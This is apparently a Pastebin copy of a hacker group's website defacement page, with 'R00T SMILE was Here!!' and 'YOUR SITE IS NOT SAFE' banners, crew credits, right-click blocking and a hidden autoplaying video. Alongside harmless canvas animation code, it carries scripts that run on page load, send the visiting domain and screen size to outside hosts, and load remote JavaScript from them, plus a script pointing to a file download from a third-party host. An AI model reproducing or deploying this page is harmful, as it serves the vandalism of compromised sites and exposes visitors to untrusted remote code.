SHARE
TWEET

Untitled

imamilyasa May 23rd, 2019 94 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <META NAME="ROBOTS" CONTENT="INDEX, NOFOLLOW">
  2.  
  3. <META NAME="ROBOTS" CONTENT="INDEX, NOFOLLOW">
  4.  
  5. <!DOCTYPE html><html>
  6. <head>
  7.  
  8. <title>{+} R0sX_010 {+}</title>
  9.    <link href='http://fonts.googleapis.com/css?family=Satisfy' rel='stylesheet' type='text/css'>
  10.    <meta name="description" content="R00T SMILE">
  11.    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
  12. <style type="text/css">
  13.  
  14. *{margin:0;padding:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box}body,html{margin:0;padding:0;font:16px/1.4 Lato,sans-serif;color:#fefeff;-webkit-font-smoothing:antialiased;font-smoothing:antialiased;font-family:Comic Sans MS}body{background:#080510;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}h1{font:2.75em Cinzel,serif;font-weight:400;letter-spacing:.35em;text-shadow:0 0 25px rgba(254,254,255,.85)}h2{font:1.45em Cinzel,serif;font-weight:400;letter-spacing:.5em;text-shadow:0 0 25px rgba(254,254,255,.85);text-transform:lowercase}[class^=letter]{-webkit-transition:opacity 3s ease;-moz-transition:opacity 3s ease;transition:opacity 3s ease}.letter-0{transition-delay:.2s}.letter-1{transition-delay:.4s}.letter-2{transition-delay:.6s}.letter-3{transition-delay:.8s}.letter-4{transition-delay:1s}.letter-5{transition-delay:1.2s}.letter-6{transition-delay:1.4s}.letter-7{transition-delay:1.6s}.letter-8{transition-delay:1.8s}.letter-9{transition-delay:2s}.letter-10{transition-delay:2.2s}.letter-11{transition-delay:2.4s}.letter-12{transition-delay:2.6s}.letter-13{transition-delay:2.8s}.letter-14{transition-delay:3s}h1,h2{visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}h1.transition-in,h2.transition-in{visibility:visible}h1 [class^=letter],h2 [class^=letter]{opacity:0}h1.transition-in [class^=letter],h2.transition-in [class^=letter]{opacity:1}#container{display:table;position:absolute;z-index:20;width:100%;height:100%;text-align:center;cursor:none}#container>div{display:table-cell;vertical-align:middle}#container p{position:absolute;width:100%;left:0;bottom:25px;font-size:.17em;letter-spacing:.1em;font-weight:200;color:#000080a;-webkit-font-smoothing:subpixel-antialiased;font-smoothing:subpixel-antialiased}#container p strong{color:#00ff00}#container p span{font-size:.75em;padding:0 2px}#canvas{position:absolute;z-index:10;top:0;left:0;width:100%;height:100%;cursor:none}#stats{position:absolute;z-index:10;left:10px;top:10px}.dg.ac{z-index:100!important}.STYLE4{color:#0000ff}
  15. </style>
  16. </script><style type="text/css">
  17.  
  18. img{
  19. -webkit-transform:scale(0.9);
  20. -moz-transform:scale(0.9);
  21. -o-transform:scale(0.9);
  22. -webkit-transition-duration: 0.5s;
  23. -moz-transition-duration: 0.5s;
  24. -o-transition-duration: 0.5s; opacity: 1; margin: 0 10px 9px 0;}
  25. img:hover{
  26. -webkit-transform:scale(1.2);
  27. -moz-transform:scale(1.2);
  28. -o-transform:scale(1.2);}
  29. </style></head>
  30.    
  31. <div id="loading_rate" style="display:none;"></div>
  32. <div id="loading_rate" style="display:none;"></div>
  33. <body bgcolor="black">
  34.    <meta name="keywords" content="R0sX_010, GTr-03, ......, JMN ">
  35.    <script language="JavaScript">
  36. var numraindrops="100";
  37. var speed="5";
  38. var rainsize="3";
  39. var wind="left";
  40. var genxgallery="";
  41.  
  42. function tb5_makeArray(n){ this.length = n; return this.length;
  43. }
  44. tb5_messages = new tb5_makeArray(2);
  45. tb5_messages[0] = "[+] R0sX_010 [+]";
  46. tb5_messages[1] = "[+] YOUR SITE IS NOT SAFE [+]";
  47. tb5_rptType = 'infinite';
  48. tb5_rptNbr = 10;
  49. tb5_speed = 50;
  50. tb5_delay = 2000;
  51. var tb5_counter=1;
  52. var tb5_currMsg=0;
  53. var tb5_stsmsg="";
  54. function tb5_shuffle(arr){
  55. var k;
  56. for (i=0; i<arr.length; i++){ k = Math.round(Math.random() * (arr.length - i - 1)) + i; temp = arr[i];arr[i]=arr[k];arr[k]=temp;
  57. }
  58. return arr;
  59. }
  60. tb5_arr = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
  61. tb5_sts = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
  62. for (var i=0; i<tb5_messages[tb5_currMsg].length; i++){ tb5_arr[i] = i; tb5_sts[i] = "_";
  63. }
  64. tb5_arr = tb5_shuffle(tb5_arr);
  65. function tb5_init(n){
  66. var k;
  67. if (n == tb5_arr.length){ if (tb5_currMsg == tb5_messages.length-1){ if ((tb5_rptType == 'finite') && (tb5_counter==tb5_rptNbr)){ clearTimeout(tb5_timerID); return; } tb5_counter++; tb5_currMsg=0; } else{ tb5_currMsg++; } n=0; tb5_arr = new tb5_makeArray(tb5_messages[tb5_currMsg].length); tb5_sts = new tb5_makeArray(tb5_messages[tb5_currMsg].length); for (var i=0; i<tb5_messages[tb5_currMsg].length; i++){ tb5_arr[i] = i; tb5_sts[i] = "_"; } tb5_arr = tb5_shuffle(tb5_arr); tb5_sp=tb5_delay;
  68. }
  69. else{ tb5_sp=tb5_speed; k = tb5_arr[n]; tb5_sts[k] = tb5_messages[tb5_currMsg].charAt(k); tb5_stsmsg = ""; for (var i=0; i<tb5_sts.length; i++) tb5_stsmsg += tb5_sts[i]; document.title = tb5_stsmsg; n++; } tb5_timerID = setTimeout("tb5_init("+n+")", tb5_sp);
  70. }
  71. function tb5_randomizetitle(){ tb5_init(0);
  72. }
  73. tb5_randomizetitle();
  74.  
  75. </script>
  76. </font></a>
  77. <tbody><tr>  
  78. </head>
  79.  
  80. <body>
  81.  
  82. <body ondragstart="window.event.returnValue=false" oncontextmenu="window.event.returnValue=false" onselectstart="event.returnValue=false">
  83. <div id="container">
  84.  
  85. <div>
  86. </object>
  87. <center>
  88.  
  89. <img src="https://4.bp.blogspot.com/-gyXTeoYfZYU/WLGzd5IbNEI/AAAAAAAAAgI/7yE1wnuMN4ssfET4BA4GIq18k6xTETuEQCLcB/s1600/logo%2B3.png"  width="350px" height="350px"></center>
  90. <table height="0" width="880">
  91. <br><br>
  92. <h1 id="h1">[+] R00T SMILE was Here!! [+]</h1>
  93. <p style="color: rgb(204, 0, 0);"><font style="font-size: 30px;" face="Iceland"></font></p>
  94. <footer id="det" style="position:fixed; left:0px; right:0px; bottom:0px; background:rgb(0,0,0); text-align:center; border-top: 1px solid #FF8C00; border-bottom: 1px solid #FF8C00">
  95. <font color=#ff0000 size=2 face="Tahoma">
  96. <font color="#778899"><b>Thanks to R00T SMILE : </b></font><marquee title="404Luxes was Here..!!" scrollamount="5" scrolldelay="50" width="80%" behavior="alternate" onmouseover="this.stop()" onmouseout="this.start()"><b> -=|[R0sX_010]-[GTr-03]-[......]-[JMN]|=- </b></marquee> </font></footer>
  97. <script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "p01.notifa.info/3fsmd3/request" + "?id=1" + "&enc=9UwkxLgY9" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582JKzDzTsXZH2VaQk%2b4Ccyitf5obmnMx1KjZOT1T9fVymoGLDySuFGOdjWWJPOz2o9xDhwFtFERHeqfAVphH4WACBs34UgSSoc3hx4%2fxj%2b5XNSSayFRUFSiCXl4fxXCfp1N%2f5%2bHyZ7gA%2fHLR4vT%2fdtspzr8XAgPJ4ClRY%2fG%2baBZbDgnylcTxduNE%2bG9mS0iuWA244KmRIlC%2boQDCOA3BIGKmugNEdx1yxWX8mUVF6rwczdN4tRNbEteIE%2bwml5QZyDzF70XqZVDWdMRLkFtG57TSOllgoM3z%2fQH1wHaGLDKL8LntxAAbrzPwsOOdWmTMiRwZpi0nfJvUbJuFuVhaUi%2fMAQRhxGlPB4kmnzlDO1dRdW3y9rTA5m%2fjhXFjK61sRxlzlgy2hJNFoG6GrO5xQNQ4El3LSMLOs24OywL0IH%2bLI%2fsdRjyTIsqSi88B2X%2foQO8nYKroAkLCa9JoetpHthlzD%2fXvb%2byEBZbRD6gsIGGZCcTa7QXg9hBsfQdfqgDLLCsfd3KhPjK4aJ5ukEIH4yC7zOQ4n90WYpz5pCUt6X6urf9%2bPn5c8FWQDVojHEsyhxt5KpSUoeBi1" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script><div style="text-align: right;position: fixed;z-index:9999999;bottom: 0;width: auto;right: 1%;cursor: pointer;line-height: 0;display:block !important;"><a title="Hosted on free web hosting 000webhost.com. Host your own website for FREE." target="_blank" href="https://www.000webhost.com/?utm_source=000webhostapp&utm_campaign=000_logo&utm_medium=website&utm_content=footer_img"><img src="https://cdn.000webhost.com/000webhost/logo/footer-powered-by-000webhost-white2.png" alt="www.000webhost.com"></a></div><script>function getCookie(e){for(var t=e+"=",n=decodeURIComponent(document.cookie).split(";"),o=0;o<n.length;o++){for(var i=n[o];" "==i.charAt(0);)i=i.substring(1);if(0==i.indexOf(t))return i.substring(t.length,i.length)}return""}getCookie("hostinger")&&(document.cookie="hostinger=;expires=Thu, 01 Jan 1970 00:00:01 GMT;",location.reload());var notification=document.getElementsByClassName("notice notice-success is-dismissible"),hostingerLogo=document.getElementsByClassName("hlogo"),mainContent=document.getElementsByClassName("notice_content")[0],newList=["Powerful and Easy-To-Use Control Panel.","1-Click Auto Installer and 24/7 Live Support.","Free Domain, Email and SSL Bundle.","5x faster WordPress performance","Weekly Backups and Fast Response Time."];if(0<notification.length&&null!=mainContent){var googleFont=document.createElement("link");googleFontHref=document.createAttribute("href"),googleFontRel=document.createAttribute("rel"),googleFontHref.value="https://fonts.googleapis.com/css?family=Open+Sans:300,400,600",googleFontRel.value="stylesheet",googleFont.setAttributeNode(googleFontHref),googleFont.setAttributeNode(googleFontRel);var css="@media only screen and (max-width: 768px) {.web-hosting-90-off-image-wrapper {position: absolute;} .notice_content {justify-content: center;} .web-hosting-90-off-image {opacity: 0.3;}} @media only screen and (min-width: 769px) {.notice_content {justify-content: space-between;} .web-hosting-90-off-image-wrapper {padding: 0 5%}} .content-wrapper {z-index: 5} .notice_content {display: flex; align-items: center;} * {-webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale;} .upgrade_button_red_sale{border: 0; border-radius: 3px; background-color: #ff123a !important; padding: 15px 55px !important; margin-left: 30px; font-family: 'Open Sans', sans-serif; font-size: 16px; font-weight: 600; color: #ffffff;} .upgrade_button_red_sale:hover{color: #ffffff !important; background: #d10303 !important;}",style=document.createElement("style"),sheet=window.document.styleSheets[0];style.styleSheet?style.styleSheet.cssText=css:style.appendChild(document.createTextNode(css)),document.getElementsByTagName("head")[0].appendChild(style),document.getElementsByTagName("head")[0].appendChild(googleFont);var button=document.getElementsByClassName("upgrade_button_red")[0],link=button.parentElement;link.setAttribute("href","https://www.hostinger.com/hosting-starter-offer?utm_source=000webhost&utm_medium=panel&utm_campaign=000-wp"),link.innerHTML='<button class="upgrade_button_red_sale">TRANSFER NOW</button>',(notification=notification[0]).setAttribute("style","padding-bottom: 10px; padding-top: 5px; background-image: url(https://cdn.000webhost.com/000webhost/promotions/springsale/mountains-neon-background.jpg); background-color: #000000; background-size: cover; background-repeat: no-repeat; color: #ffffff; border-color: #ff123a; border-width: 8px;"),notification.className="notice notice-error is-dismissible",(hostingerLogo=hostingerLogo[0]).setAttribute("src","https://cdn.000webhost.com/000webhost/promotions/springsale/logo-hostinger-white.svg"),hostingerLogo.setAttribute("style","float: none !important; height: auto; max-width: 100%; margin: 40px 20px 10px 30px;");var h1Tag=notification.getElementsByTagName("H1")[0];h1Tag.remove();var paragraph=notification.getElementsByTagName("p")[0];paragraph.innerHTML="Migrate your WordPress to Hostinger and enjoy the best features on the market! The time is now!",paragraph.setAttribute("style",'max-width: 600px; margin-left: 30px; font-family: "Open Sans", sans-serif; font-size: 16px; font-weight: 600;');var list=notification.getElementsByTagName("UL")[0];list.setAttribute("style","max-width: 675px;");for(var listElements=list.getElementsByTagName("LI"),i=0;i<newList.length;i++)listElements[i].setAttribute("style","color:#ffffff; list-style-type: disc; margin-left: 30px; font-family: 'Open Sans', sans-serif; font-size: 14px; font-weight: 300; line-height: 1.5;"),listElements[i].innerHTML=newList[i];listElements[listElements.length-1].remove();var org_html=mainContent.innerHTML,new_html='<div class="content-wrapper">'+mainContent.innerHTML+'</div><div class="web-hosting-90-off-image-wrapper"><img class="web-hosting-90-off-image" src="https://cdn.000webhost.com/000webhost/promotions/springsale/web-hosting-90-off.png"></div>';mainContent.innerHTML=new_html;var saleImage=mainContent.getElementsByClassName("web-hosting-90-off-image")[0];!function(){var t=document.querySelectorAll("body.wp-admin")[0];function e(){var e=document.createElement("iframe");e.id="hgr-promo-widget",e.setAttribute("src","https://www.hostinger.com/widgets/bottom-banner-sale/000_wp_admin"),e.setAttribute("allowfullscreen",!0),e.setAttribute("frameborder",0),e.style.cssText="z-index: 2147483000 !important;position: fixed !important;bottom: 0; width: 100%;!important; left: 0!important;",e.style.opacity=0,e.onload=function(){iFrameResize({},"#hgr-promo-widget"),e.style.opacity=1},t.insertAdjacentElement("afterend",e)}if(window.iFrameResize)e();else{var n=document.createElement("script");n.type="text/javascript",t.insertAdjacentElement("afterend",n),n.onload=e,n.src="https://unpkg.com/iframe-resizer@3.6.3/js/iframeResizer.min.js"}}()}</script></body>
  98. </html>
  99. <!-- start full screen background slider -->
  100. <script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582ECSaLdwqSpnA7XSCn4aegvU2etKTN8OxNaubBxvg4D8RxSGsfaOWqeaE37GKxZnwQLPzrwJ7KqI6eL2UYX2qMM%2bD0kDrUIw%2foFnco2N2OifzAilHA6dbb7ehXMReveEg84ahEZPDEPXFHmDyG4%2b3ul0J0kZCGjhYMRBCACH8LtP4HdBJCOsCgvPpSjWw6oXpmhU1HSSR5fhUiaGNyATlDKB9E%2fhkJJfC8l8o%2fwjGR%2bJNj%2firYX3fYM%2fJqJbqZ2tEzb2cmFtn1w06GtcvsNfSrT28TuyGOlPDPdxD3M3QsMtFuxAkHVUZVhmLjPg2O4SbgGychKojpEwmh7c5UsGxFBHiGHMM7%2fupFd28640RDWO83DR9MNc0IuvrhO%2boGLXUKhtk8RGGx%2f3bp6%2btca0A4b8QvGGZ4YX7YkIy8Ah%2fZnHcWDaV8vWLKI%2bS%2fe66m0Zp12i7B5xundbTSgdgcEPL8KkEQFnz0i1lZ7sM4ENP5BauJ2LCHaJt9BRCGqwtnQM%2bSS%2b8J7uapAA0tRfHhLKVNl6OOsXc21V7tpYVFwvRTM8" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};" src="http://bayanbox.ir/id/1892496266495911292?download"></script>
  101. <div class="mbg" bg1="http://img12.deviantart.net/d186/i/2014/108/6/7/yukinoshita_yukino_by_overflyiv-d7eyl0n.png" bg2="http://img12.deviantart.net/d186/i/2014/108/6/7/yukinoshita_yukino_by_overflyiv-d7eyl0n.png" bg3="http://img12.deviantart.net/d186/i/2014/108/6/7/yukinoshita_yukino_by_overflyiv-d7eyl0n.png" ></div>
  102. <!-- end full screen background slider -->
  103. </font></marquee><br></p><p align="center">
  104. </div>
  105. </div>
  106. <canvas id="canvas"></canvas>
  107. <script>
  108. var Stats=function(){var e=Date.now(),t=e,i=0,n=1/0,r=0,s=0,o=1/0,a=0,l=0,h=0,c=document.createElement("div");c.id="stats",c.addEventListener("mousedown",function(e){e.preventDefault(),v(++h%2)},!1),c.style.cssText="width:80px;opacity:0.9;cursor:pointer";var u=document.createElement("div");u.id="fps",u.style.cssText="padding:0 0 3px 3px;text-align:left;background-color:#002",c.appendChild(u);var d=document.createElement("div");d.id="fpsText",d.style.cssText="color:#0ff;font-family:Comic Sans MS;font-size:9px;font-weight:bold;line-height:15px",d.innerHTML="FPS",u.appendChild(d);var p=document.createElement("div");for(p.id="fpsGraph",p.style.cssText="position:relative;width:74px;height:30px;background-color:#0ff",u.appendChild(p);74>p.children.length;){var f=document.createElement("span");f.style.cssText="width:1px;height:30px;float:left;background-color:#113",p.appendChild(f)}var m=document.createElement("div");m.id="ms",m.style.cssText="padding:0 0 3px 3px;text-align:left;background-color:#020;display:none",c.appendChild(m);var g=document.createElement("div");g.id="msText",g.style.cssText="color:#0f0;font-family:Comic Sans MS;font-size:9px;font-weight:bold;line-height:15px",g.innerHTML="MS",m.appendChild(g);var y=document.createElement("div");for(y.id="msGraph",y.style.cssText="position:relative;width:74px;height:30px;background-color:#0f0",m.appendChild(y);74>y.children.length;){var f=document.createElement("span");f.style.cssText="width:1px;height:30px;float:left;background-color:#131",y.appendChild(f)}var v=function(e){switch(h=e){case 0:u.style.display="block",m.style.display="none";break;case 1:u.style.display="none",m.style.display="block"}},b=function(e,t){var i=e.appendChild(e.firstChild);i.style.height=t+"px"};return{REVISION:11,domElement:c,setMode:v,begin:function(){e=Date.now()},end:function(){var h=Date.now();return i=h-e,n=Math.min(n,i),r=Math.max(r,i),g.textContent=i+" MS ("+n+"-"+r+")",b(y,Math.min(30,30-30*(i/200))),l++,h>t+1e3&&(s=Math.round(1e3*l/(h-t)),o=Math.min(o,s),a=Math.max(a,s),d.textContent=s+" FPS ("+o+"-"+a+")",b(p,Math.min(30,30-30*(s/100))),t=h,l=0),h},update:function(){e=this.end()}}};
  109. </script>
  110. <script>
  111. ;(function(window) {
  112. var ctx,
  113. hue,
  114. logo,
  115. form,
  116. buffer,
  117. target = {},
  118. tendrils = [],
  119. settings = {};
  120. settings.debug = true;
  121. settings.friction = 0.5;
  122. settings.trails = 20;
  123. settings.size = 50;
  124. settings.dampening = 0.25;
  125. settings.tension = 0.98;
  126. Math.TWO_PI = Math.PI * 2;
  127. // ========================================================================================
  128. // Oscillator
  129. // ----------------------------------------------------------------------------------------
  130. function Oscillator(options) {
  131. this.init(options || {});
  132. }
  133. Oscillator.prototype = (function() {
  134. var value = 0;
  135. return {
  136. init: function(options) {
  137. this.phase = options.phase || 0;
  138. this.offset = options.offset || 0;
  139. this.frequency = options.frequency || 0.001;
  140. this.amplitude = options.amplitude || 1;
  141. },
  142. update: function() {
  143. this.phase += this.frequency;
  144. value = this.offset + Math.sin(this.phase) * this.amplitude;
  145. return value;
  146. },
  147. value: function() {
  148. return value;
  149. }
  150. };
  151. })();
  152. // ========================================================================================
  153. // Tendril
  154. // ----------------------------------------------------------------------------------------
  155. function Tendril(options) {
  156. this.init(options || {});
  157. }
  158. Tendril.prototype = (function() {
  159. function Node() {
  160. this.x = 0;
  161. this.y = 0;
  162. this.vy = 0;
  163. this.vx = 0;
  164. }
  165. return {
  166. init: function(options) {
  167. this.spring = options.spring + (Math.random() * 0.1) - 0.05;
  168. this.friction = settings.friction + (Math.random() * 0.01) - 0.005;
  169. this.nodes = [];
  170. for(var i = 0, node; i < settings.size; i++) {
  171. node = new Node();
  172. node.x = target.x;
  173. node.y = target.y;
  174. this.nodes.push(node);
  175. }
  176. },
  177. update: function() {
  178. var spring = this.spring,
  179. node = this.nodes[0];
  180. node.vx += (target.x - node.x) * spring;
  181. node.vy += (target.y - node.y) * spring;
  182. for(var prev, i = 0, n = this.nodes.length; i < n; i++) {
  183. node = this.nodes[i];
  184. if(i > 0) {
  185. prev = this.nodes[i - 1];
  186. node.vx += (prev.x - node.x) * spring;
  187. node.vy += (prev.y - node.y) * spring;
  188. node.vx += prev.vx * settings.dampening;
  189. node.vy += prev.vy * settings.dampening;
  190. }
  191. node.vx *= this.friction;
  192. node.vy *= this.friction;
  193. node.x += node.vx;
  194. node.y += node.vy;
  195. spring *= settings.tension;
  196. }
  197. },
  198. draw: function() {
  199. var x = this.nodes[0].x,
  200. y = this.nodes[0].y,
  201. a, b;
  202. ctx.beginPath();
  203. ctx.moveTo(x, y);
  204. for(var i = 1, n = this.nodes.length - 2; i < n; i++) {
  205. a = this.nodes[i];
  206. b = this.nodes[i + 1];
  207. x = (a.x + b.x) * 0.5;
  208. y = (a.y + b.y) * 0.5;
  209. ctx.quadraticCurveTo(a.x, a.y, x, y);
  210. }
  211. a = this.nodes[i];
  212. b = this.nodes[i + 1];
  213. ctx.quadraticCurveTo(a.x, a.y, b.x, b.y);
  214. ctx.stroke();
  215. ctx.closePath();
  216. }
  217. };
  218. })();
  219. // ----------------------------------------------------------------------------------------
  220. function init(event) {
  221. document.removeEventListener('mousemove', init);
  222. document.removeEventListener('touchstart', init);
  223. document.addEventListener('mousemove', mousemove);
  224. document.addEventListener('touchmove', mousemove);
  225. document.addEventListener('touchstart', touchstart);
  226. mousemove(event);
  227. reset();
  228. loop();
  229. }
  230. function reset() {
  231. tendrils = [];
  232. for(var i = 0; i < settings.trails; i++) {
  233. tendrils.push(new Tendril({
  234. spring: 0.45 + 0.025 * (i / settings.trails)
  235. }));
  236. }
  237. }
  238. function loop() {
  239. if(!ctx.running) return;
  240. ctx.globalCompositeOperation = 'source-over';
  241. ctx.fillStyle = 'rgba(8,5,16,0.4)';
  242. ctx.fillRect(0, 0, ctx.canvas.width, ctx.canvas.height);
  243. ctx.globalCompositeOperation = 'lighter';
  244. ctx.strokeStyle = 'hsla(' + Math.round(hue.update()) + ',90%,50%,0.25)';
  245. ctx.lineWidth = 1;
  246. if(ctx.frame % 60 == 0) {
  247. console.log(hue.update(), Math.round(hue.update()), hue.phase, hue.offset, hue.frequency, hue.amplitude);
  248. }
  249. for(var i = 0, tendril; i < settings.trails; i++) {
  250. tendril = tendrils[i];
  251. tendril.update();
  252. tendril.draw();
  253. }
  254. ctx.frame++;
  255. ctx.stats.update();
  256. requestAnimFrame(loop);
  257. }
  258. function resize() {
  259. ctx.canvas.width = window.innerWidth;
  260. ctx.canvas.height = window.innerHeight;
  261. }
  262. function start() {
  263. if(!ctx.running) {
  264. ctx.running = true;
  265. loop();
  266. }
  267. }
  268. function stop() {
  269. ctx.running = false;
  270. }
  271. function mousemove(event) {
  272. if(event.touches) {
  273. target.x = event.touches[0].pageX;
  274. target.y = event.touches[0].pageY;
  275. } else {
  276. target.x = event.clientX
  277. target.y = event.clientY;
  278. }
  279. event.preventDefault();
  280. }
  281. function touchstart(event) {
  282. if(event.touches.length == 1) {
  283. target.x = event.touches[0].pageX;
  284. target.y = event.touches[0].pageY;
  285. }
  286. }
  287. function keyup(event) {
  288. switch(event.keyCode) {
  289. case 32:
  290. save();
  291. break;
  292. default:
  293. // console.log(event.keyCode);
  294. }
  295. }
  296. function letters(id) {
  297. var el = document.getElementById(id),
  298. letters = el.innerHTML.replace('&amp;', '&').split(''),
  299. heading = '';
  300. for(var i = 0, n = letters.length, letter; i < n; i++) {
  301. letter = letters[i].replace('&', '&amp');
  302. heading += letter.trim() ? '<span class="letter-' + i + '">' + letter + '</span>' : '&nbsp;';
  303. }
  304. el.innerHTML = heading;
  305. setTimeout(function() {
  306. el.className = 'transition-in';
  307. }, (Math.random() * 500) + 500);
  308. }
  309. function save() {
  310. if(!buffer) {
  311. buffer = document.createElement('canvas');
  312. buffer.width = screen.availWidth;
  313. buffer.height = screen.availHeight;
  314. buffer.ctx = buffer.getContext('2d');
  315. form = document.createElement('form');
  316. form.method = 'post';
  317. form.input = document.createElement('input');
  318. form.input.type = 'hidden';
  319. form.input.name = 'data';
  320. form.appendChild(form.input);
  321. document.body.appendChild(form);
  322. }
  323. buffer.ctx.fillStyle = 'rgba(8,5,16)';
  324. buffer.ctx.fillRect(0, 0, buffer.width, buffer.height);
  325. buffer.ctx.drawImage(canvas,
  326. Math.round(buffer.width / 2 - canvas.width / 2),
  327. Math.round(buffer.height / 2 - canvas.height / 2)
  328. );
  329. buffer.ctx.drawImage(logo,
  330. Math.round(buffer.width / 2 - logo.width / 4),
  331. Math.round(buffer.height / 2 - logo.height / 4),
  332. logo.width / 2,
  333. logo.height / 2
  334. );
  335. window.open(buffer.toDataURL(), 'wallpaper', 'top=0,left=0,width=' + buffer.width + ',height=' + buffer.height);
  336. // form.input.value = buffer.toDataURL().substr(22);
  337. // form.submit();
  338. }
  339. window.requestAnimFrame = (function() {
  340. return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || function(fn) { window.setTimeout(fn, 1000 / 60) };
  341. })();
  342. window.onload = function() {
  343. ctx = document.getElementById('canvas').getContext('2d');
  344. ctx.stats = new Stats();
  345. ctx.running = true;
  346. ctx.frame = 1;
  347. logo = new Image();
  348. logo.src = 'http://labs.nikrowell.com/lightsandmotion/ultraviolet/images/logo.png';
  349. hue = new Oscillator({
  350. phase: Math.random() * Math.TWO_PI,
  351. amplitude: 85,
  352. frequency: 0.0015,
  353. offset: 285
  354. });
  355. letters('h1');
  356. letters('h2');
  357. document.addEventListener('mousemove', init);
  358. document.addEventListener('touchstart', init);
  359. document.body.addEventListener('orientationchange', resize);
  360. window.addEventListener('resize', resize);
  361. window.addEventListener('keyup', keyup);
  362. window.addEventListener('focus', start);
  363. window.addEventListener('blur', stop);
  364. resize();
  365. if(window.DEBUG) {
  366. var gui = new dat.GUI();
  367. // gui.add(settings, 'debug');
  368. settings.gui.add(settings, 'trails', 1, 30).onChange(reset);
  369. settings.gui.add(settings, 'size', 25, 75).onFinishChange(reset);
  370. settings.gui.add(settings, 'friction', 0.45, 0.55).onFinishChange(reset);
  371. settings.gui.add(settings, 'dampening', 0.01, 0.4).onFinishChange(reset);
  372. settings.gui.add(settings, 'tension', 0.95, 0.999).onFinishChange(reset);
  373. document.body.appendChild(ctx.stats.domElement);
  374. }
  375. };
  376. })(window);
  377. </script>
  378. <embed src="https://www.youtube.com/v/tbz2Fvbeq-0&autoplay=1" type="application/x-shockwave-flash" wmode="transparent" width="1" height="1"></embed>
  379. </body>
  380. </html>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top